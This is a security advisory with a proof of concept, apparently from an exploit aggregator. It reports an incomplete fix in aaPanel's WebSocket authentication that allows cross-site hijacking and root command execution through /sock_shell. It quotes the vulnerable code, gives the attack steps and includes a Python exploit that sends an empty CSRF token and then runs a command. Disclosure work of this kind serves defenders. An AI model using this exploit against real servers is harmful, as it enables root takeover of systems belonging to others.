Share
## https://sploitus.com/exploit?id=40AD62F4-D694-54A9-B440-BB6C6844A2AE
# aaPanel: Vendors Don't Always Fix Things Properly

An incomplete fix for CVE-2021-37840 still exposes 3.6M servers to root RCE, 5 years later

**Discovered by:** EON Security  
**CVE:** Pending assignment  
**CVSS:** 8.8 (High) โ€” AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H  
**Affected:** aaPanel versions 6.8.12 through 7.65.0 (every version since the 2021 fix)  
**Installed base:** 3.6M+ servers  

---

## The Short Version

In 2021, a Cross-Site WebSocket Hijacking vulnerability (CVE-2021-37840) was disclosed in aaPanel, a free hosting control panel running on 3.6M+ servers. The vendor added a CSRF token check to "fix" it.

**The fix was architecturally wrong.**

Instead of rejecting unauthenticated WebSocket connections at the HTTP level (returning 401), the fix allows every connection through (returns 101 Switching Protocols) and only checks authentication inside the handler โ€” after the WebSocket is already established. The CSRF check they added can be bypassed in multiple ways.

EON Security found that 5 years later, every aaPanel version is still vulnerable to the same attack class.

This is only the **10th CVE ever** assigned to aaPanel in its 6+ year history.

---

## What We Found

1. **All 10 WebSocket endpoints accept connections before verifying who you are** โ€” returns HTTP 101 Switching Protocols before checking authentication
2. **The CSRF check has hard bypass conditions** โ€” `g.api_request=True` (API-authenticated requests) and `g.is_aes=True` (AES-encrypted requests) skip the check entirely
3. **The `/sock_shell` endpoint executes arbitrary commands** โ€” `subprocess.Popen(cmd + " 2>&1", shell=True)`
4. **The `/webssh` endpoint accepts attacker-supplied SSH credentials** โ€” connect to any SSH host
5. **Runs as root** โ€” full server compromise

---

## Vulnerability Details

### 1. WebSocket Endpoints Accept Connections Before Auth

All WebSocket endpoints return HTTP 101 Switching Protocols **before** any authentication check. The `comm.local()` auth check runs inside the handler, after the WebSocket upgrade is already complete:

```python
@sockets.route('/sock_shell')
def sock_shell(ws):
    comReturn = comm.local()     # โ† Auth check happens AFTER 101
    if comReturn:
        ws.send(str(comReturn))
        return
```

Affected endpoints:
- `/webssh` (SSH terminal proxy)
- `/sock_shell` (direct command execution)
- `/ws_panel` (panel management)
- `/ws_home` (dashboard)
- `/ws_project` (project management)
- `/ws_model` (model management)
- `/workorder_client` (ticket system)
- `/v2/*` variants of all above

### 2. CSRF Token Check Bypass

The `check_csrf_websocket()` function is designed to prevent Cross-Site WebSocket Hijacking:

```python
def check_csrf_websocket(ws, args):
    if g.is_aes: return True        # โ† Bypass: AES mode skips check
    if g.api_request: return True    # โ† Bypass: API requests skip check
    if public.is_debug(): return True
    is_success = True
    if not 'x-http-token' in args:
        is_success = False
    if is_success:
        if public.get_csrf_sess_html_token_value() != args['x-http-token']:
            is_success = False
    if not is_success:
        ws.send('token error')
        return False
    return True
```

Two hard bypass conditions exist:
- **`g.api_request`**: When True (set during API key authentication), the CSRF check is entirely skipped. Any API-authenticated WebSocket session bypasses this protection.
- **`g.is_aes`**: When True (set during AES-encrypted API requests), the CSRF check is also skipped.

The token comparison (`get_csrf_sess_html_token_value()`) returns `session.get('request_token_head', "")`. In sessions where this value is not yet initialized, an empty `x-http-token` passes the check.

### 3. Command Execution via sock_shell

The `/sock_shell` endpoint passes attacker-supplied strings directly to `subprocess.Popen` with `shell=True`:

```python
def sock_recv(cmdstring, ws):
    p = subprocess.Popen(cmdstring + " 2>&1",
                         close_fds=True,
                         shell=True,           # โ† Arbitrary command execution
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)
```

Each message received on the WebSocket is executed as a shell command. Output is streamed back via WebSocket. Since aaPanel runs as root, this is **full system compromise**.

### 4. SSH Proxy via webssh

The `/webssh` endpoint accepts attacker-supplied SSH connection parameters from the first WebSocket message:

```python
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
```

If the host is `127.0.0.1` or `localhost`, the handler checks the database for saved credentials, or uses attacker-supplied ones.

---

## Attack Scenario

The primary exploit path is **CSWSH (Cross-Site WebSocket Hijacking)** requiring user interaction:

1. Administrator has an active aaPanel session (logged in)
2. Administrator visits a malicious webpage
3. The page opens a WebSocket to `wss://victim-panel:8888/sock_shell`
4. Browser automatically includes the session cookie
5. `comm.local()` passes authentication (valid session cookie)
6. The attacker sends `{"x-http-token": ""}` or exploits API/AES bypass paths
7. If CSRF check passes, commands can be executed as root

**Alternative path via API key compromise:**
1. Attacker obtains valid aaPanel API key
2. API-authenticated requests set `g.api_request = True`
3. CSRF check is skipped entirely for these requests
4. Direct command execution via WebSocket without user interaction

---

## Affected Endpoints

| Endpoint | Function | Impact |
|----------|----------|--------|
| `/webssh` | SSH terminal proxy | Connect to arbitrary SSH hosts with attacker credentials |
| `/sock_shell` | Direct command execution | **RCE as root** via shell commands |
| `/ws_panel` | Panel management | Panel data access |
| `/ws_home` | Dashboard | Dashboard data access |
| `/ws_project` | Project management | Project data access |
| `/ws_model` | Model management | Model data access |
| `/workorder_client` | Ticket system | Ticket data access |
| `/v2/*` | All v2 variants | Same as above |

---

## PoC

```python
import asyncio, json, ssl
import websockets

async def exploit(target, command):
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    async with websockets.connect(
        f"wss://{target}/sock_shell", ssl=ssl_context
    ) as ws:
        # Attempt CSRF bypass with empty token
        await ws.send(json.dumps({"x-http-token": ""}))
        resp = await asyncio.wait_for(ws.recv(), timeout=10)
        
        if "token error" in resp:
            # CSRF check active โ€” may need API auth bypass
            return None
        
        # Execute command
        await ws.send(command)
        return await asyncio.wait_for(ws.recv(), timeout=30)
```

Full PoC: [exploit.py](exploit.py)

---

## Detection

Use the [check.py](check.py) script to test if an aaPanel instance has vulnerable WebSocket endpoints:

```bash
python3 check.py https://target:8888
```

---

## Mitigation

1. **Check authentication BEFORE accepting WebSocket upgrades** โ€” return HTTP 401 at handshake level, not after
2. **Remove hard bypass conditions** โ€” `g.api_request` and `g.is_aes` should not skip CSRF protection
3. **Validate Origin header** on WebSocket upgrade โ€” reject unrecognized origins
4. **Disable sock_shell** if not required โ€” provides direct root command execution
5. **Restrict network access** to aaPanel administration interface

---

## Timeline

| Date | Event |
|------|-------|
| 2021-08-02 | CVE-2021-37840 disclosed (aaPanel CSWSH) |
| 2021 | Vendor adds `check_csrf_websocket()` as fix |
| 2026-06-23 | EON Security discovers fix is incomplete |
| Pending | CVE assignment |
| Pending | Public disclosure |

---

## References

- [CVE-2021-37840](https://nvd.nist.gov/vuln/detail/CVE-2021-37840) โ€” Original aaPanel CSWSH
- [CVE-2026-29859](https://nvd.nist.gov/vuln/detail/CVE-2026-29859) โ€” aaPanel arbitrary file upload (Mar 2026)
- [aaPanel GitHub](https://github.com/aaPanel/aaPanel) โ€” Official repository
- [EON Security](https://eonsecurity.co.za) โ€” Discoverer

---

## Credit

**Yadav** โ€” EON Security  
Website: [https://eonsecurity.co.za](https://eonsecurity.co.za)

---

## License

This content is licensed under MIT. The PoC is provided for educational and defensive purposes only.